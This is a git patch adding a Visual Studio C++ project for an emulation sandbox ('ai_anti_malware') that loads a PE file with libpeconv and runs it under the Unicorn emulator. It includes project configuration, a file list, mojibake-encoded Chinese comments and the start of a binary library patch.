ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_fp_vfp_disabled.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_init_input_crash.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_movr12_hang.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/arm_vldr_invalid.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/bad_ram.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/block_test.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/callback-pc.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/crash_tb.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/deadlock_1.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/eflags_noset.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/eflags_nosync.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_clear_errors.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_clear_errors.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_stop_in_hook_overrun.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_stop_segfault.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/ensure_typedef_consts_generated.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/fpu_ip.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/fpu_mem_write.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/hang.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_add_crash.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_code_add_del.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_code_stop_emu.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_extrainvoke.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_readonly_write_local.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/init.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_read_in_cpu_tb_exec.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_read_in_tb_flush_x86_64.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_write.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_write_in_cpu_tb_exec_x86_64.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/jmp_ebx_hang.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/jumping.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/leaked_refs.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/map_crash.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/map_write.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/memmap.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/memmap_segfault.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_branch_delay.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_branch_likely_issue.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_delay_slot_code_hook.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_except.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_invalid_read_of_size_4_when_tracing.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_kernel_mmu.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_kseg0_1.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_single_step_sp.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_syscall_pc.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/mov_gs_eax.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/movsd.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/nr_mem_test.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/osx_qemu_thread_create_crash.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/potential_memory_leak.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/pshufb.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/reg_write_sign_extension.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/regress.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/regress.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/rep_hook.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/rep_movsb.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/ro_mem_test.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/run_across_bb.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/rw_hookstack.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/segfault_on_stop.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/sigill.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/sigill2.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc64.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc_jump_to_zero.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/sparc_reg.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/sysenter_hook_x86.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/tcg_liveness_analysis_bug_issue-287.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/threaded_emu_start.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/timeout_segfault.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/translator_buffer.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/vld.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/write_before_map.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_rip.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_rip_arm.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_sp_arm.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_16_segfault.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_conditional_jump.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_eflags.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_msr.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_eflags.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_fldt_fsqrt.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_gdt.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_self_modifying.elf create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_self_modifying.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_self_modifying.s create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_vex.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/unit/.gitignore create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/unit/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/unit/gdt_idx.s create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/unit/high_address.s create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/unit/pc_change.s create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/unit/tb_x86.s create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/unit/unicorn_test.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/tests/unit/x86_soft_paging_low.s create mode 100644 ai_anti_malware/unicorn/unicorn-master/uc.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/windows_export.bat create mode 100644 ai_anti_malware/unicorn/unicorn.dll create mode 100644 ai_anti_malware/unicorn/unicorn.lib diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..34c22c9 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,60 @@ +{ + "files.associations": { + "iostream": "cpp", + "xstring": "cpp", + "algorithm": "cpp", + "atomic": "cpp", + "bit": "cpp", + "cctype": "cpp", + "clocale": "cpp", + "cmath": "cpp", + "compare": "cpp", + "concepts": "cpp", + "cstddef": "cpp", + "cstdint": "cpp", + "cstdio": "cpp", + "cstdlib": "cpp", + "cstring": "cpp", + "ctime": "cpp", + "cwchar": "cpp", + "exception": "cpp", + "fstream": "cpp", + "initializer_list": "cpp", + "iomanip": "cpp", + "ios": "cpp", + "iosfwd": "cpp", + "istream": "cpp", + "iterator": "cpp", + "limits": "cpp", + "list": "cpp", + "map": "cpp", + "memory": "cpp", + "new": "cpp", + "ostream": "cpp", + "set": "cpp", + "sstream": "cpp", + "stdexcept": "cpp", + "streambuf": "cpp", + "string": "cpp", + "system_error": "cpp", + "tuple": "cpp", + "type_traits": "cpp", + "typeinfo": "cpp", + "unordered_map": "cpp", + "utility": "cpp", + "vector": "cpp", + "xfacet": "cpp", + "xhash": "cpp", + "xiosbase": "cpp", + "xlocale": "cpp", + "xlocinfo": "cpp", + "xlocmon": "cpp", + "xlocnum": "cpp", + "xloctime": "cpp", + "xmemory": "cpp", + "xstddef": "cpp", + "xtr1common": "cpp", + "xtree": "cpp", + "xutility": "cpp" + } +} \ No newline at end of file diff --git a/ai_anti_malware.sln b/ai_anti_malware.sln new file mode 100644 index 0000000..4e9a213 --- /dev/null +++ b/ai_anti_malware.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.35731.53 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ai_anti_malware", "ai_anti_malware\ai_anti_malware.vcxproj", "{E12C93D6-6150-484D-85E1-7A644E393D5A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E12C93D6-6150-484D-85E1-7A644E393D5A}.Debug|x64.ActiveCfg = Debug|x64 + {E12C93D6-6150-484D-85E1-7A644E393D5A}.Debug|x64.Build.0 = Debug|x64 + {E12C93D6-6150-484D-85E1-7A644E393D5A}.Debug|x86.ActiveCfg = Debug|Win32 + {E12C93D6-6150-484D-85E1-7A644E393D5A}.Debug|x86.Build.0 = Debug|Win32 + {E12C93D6-6150-484D-85E1-7A644E393D5A}.Release|x64.ActiveCfg = Release|x64 + {E12C93D6-6150-484D-85E1-7A644E393D5A}.Release|x64.Build.0 = Release|x64 + {E12C93D6-6150-484D-85E1-7A644E393D5A}.Release|x86.ActiveCfg = Release|Win32 + {E12C93D6-6150-484D-85E1-7A644E393D5A}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {4B304E25-0491-4346-8FCB-7E30DDEB2E43} + EndGlobalSection +EndGlobal diff --git a/ai_anti_malware/ai_anti_malware.cpp b/ai_anti_malware/ai_anti_malware.cpp new file mode 100644 index 0000000..4744838 --- /dev/null +++ b/ai_anti_malware/ai_anti_malware.cpp @@ -0,0 +1,48 @@ +// ai_anti_malware.cpp : æ­¤æ–‡ä»¶åŒ…å« "main" å‡½æ•°ã€‚ç¨‹åºæ‰§è¡Œå°†åœ¨æ­¤å¤„开始并结æŸã€‚ +// + +#include "head.h" + +auto getPeInfo(std::string inputFilePath) -> std::shared_ptr { + auto sampleInfo = std::make_shared(); + sampleInfo->inputFilePath = + "E:\\对战平å°\\CrowAntiCheat\\CrowAntiCheat\\client\\Console_" + "Test\\Release\\Console_Test.exe"; + + sampleInfo->peBuffer = + peconv::load_pe_module((const char*)sampleInfo->inputFilePath.c_str(), + sampleInfo->peSize, false, false); + sampleInfo->ntHead64 = peconv::get_nt_hdrs64((BYTE*)sampleInfo->peBuffer); + sampleInfo->ntHead32 = peconv::get_nt_hdrs32((BYTE*)sampleInfo->peBuffer); + sampleInfo->isX64 = peconv::is64bit((BYTE*)sampleInfo->peBuffer); + sampleInfo->RecImageBase = + sampleInfo->isX64 + ? (DWORD64)sampleInfo->ntHead64->OptionalHeader.ImageBase + : (DWORD)sampleInfo->ntHead32->OptionalHeader.ImageBase; + sampleInfo->isRelocated = peconv::relocate_module( + (BYTE*)sampleInfo->peBuffer, sampleInfo->peSize, sampleInfo->RecImageBase); + + sampleInfo->entryPoint = + sampleInfo->isX64 + ? sampleInfo->ntHead64->OptionalHeader.AddressOfEntryPoint + : sampleInfo->ntHead32->OptionalHeader.AddressOfEntryPoint; + sampleInfo->imageEnd = + sampleInfo->RecImageBase + + (sampleInfo->isX64 ? sampleInfo->ntHead64->OptionalHeader.SizeOfImage + : sampleInfo->ntHead32->OptionalHeader.SizeOfImage); + return sampleInfo; +} +int main() { + auto sampleInfo = getPeInfo( + "E:\\对战平å°\\CrowAntiCheat\\CrowAntiCheat\\client\\Console_" + "Test\\Release\\Console_Test.exe"); + printf("input new file %s \n", sampleInfo->inputFilePath); + printf("is x64: %d\n", sampleInfo->isX64); + printf("is relocated: %d\n", sampleInfo->isRelocated); + printf("RecImageBase: %llx\n", sampleInfo->RecImageBase); + auto sandbox = std::make_shared(); + sandbox->InitEnv(sampleInfo); + sandbox->Run(); + system("pause"); + return 0; +} diff --git a/ai_anti_malware/ai_anti_malware.vcxproj b/ai_anti_malware/ai_anti_malware.vcxproj new file mode 100644 index 0000000..d59176d --- /dev/null +++ b/ai_anti_malware/ai_anti_malware.vcxproj @@ -0,0 +1,187 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {e12c93d6-6150-484d-85e1-7a644e393d5a} + aiantimalware + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + $(SolutionDir)ai_anti_malware\libpeconv\libpeconv\;$(SolutionDir)ai_anti_malware\libpeconv\libpeconv\include;$(SolutionDir)ai_anti_malware\libpeconv\;$(IncludePath) + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + stdcpplatest + false + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ai_anti_malware/ai_anti_malware.vcxproj.filters b/ai_anti_malware/ai_anti_malware.vcxproj.filters new file mode 100644 index 0000000..fe53946 --- /dev/null +++ b/ai_anti_malware/ai_anti_malware.vcxproj.filters @@ -0,0 +1,138 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {9204f3c4-f3df-47b3-9cfc-42fcc5dd6ca9} + + + {41d9dd76-a1a6-4627-b982-cbdb41cf0f7b} + + + {38ea362d-55dc-410e-92f1-3a44ced4dc2d} + + + + + æºæ–‡ä»¶ + + + æºæ–‡ä»¶\sandbox + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + 头文件\libpe + + + æºæ–‡ä»¶\sandbox + + + + + 头文件 + + + 头文件\sandbox + + + 头文件\libpe + + + 头文件\libpe + + + 头文件 + + + 头文件\sandbox + + + \ No newline at end of file diff --git a/ai_anti_malware/capstone/capstone.lib b/ai_anti_malware/capstone/capstone.lib new file mode 100644 index 0000000000000000000000000000000000000000..01bfddee2a3d47bec8a4fe5e969f8a4e7305a5c4 GIT binary patch literal 7308856 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 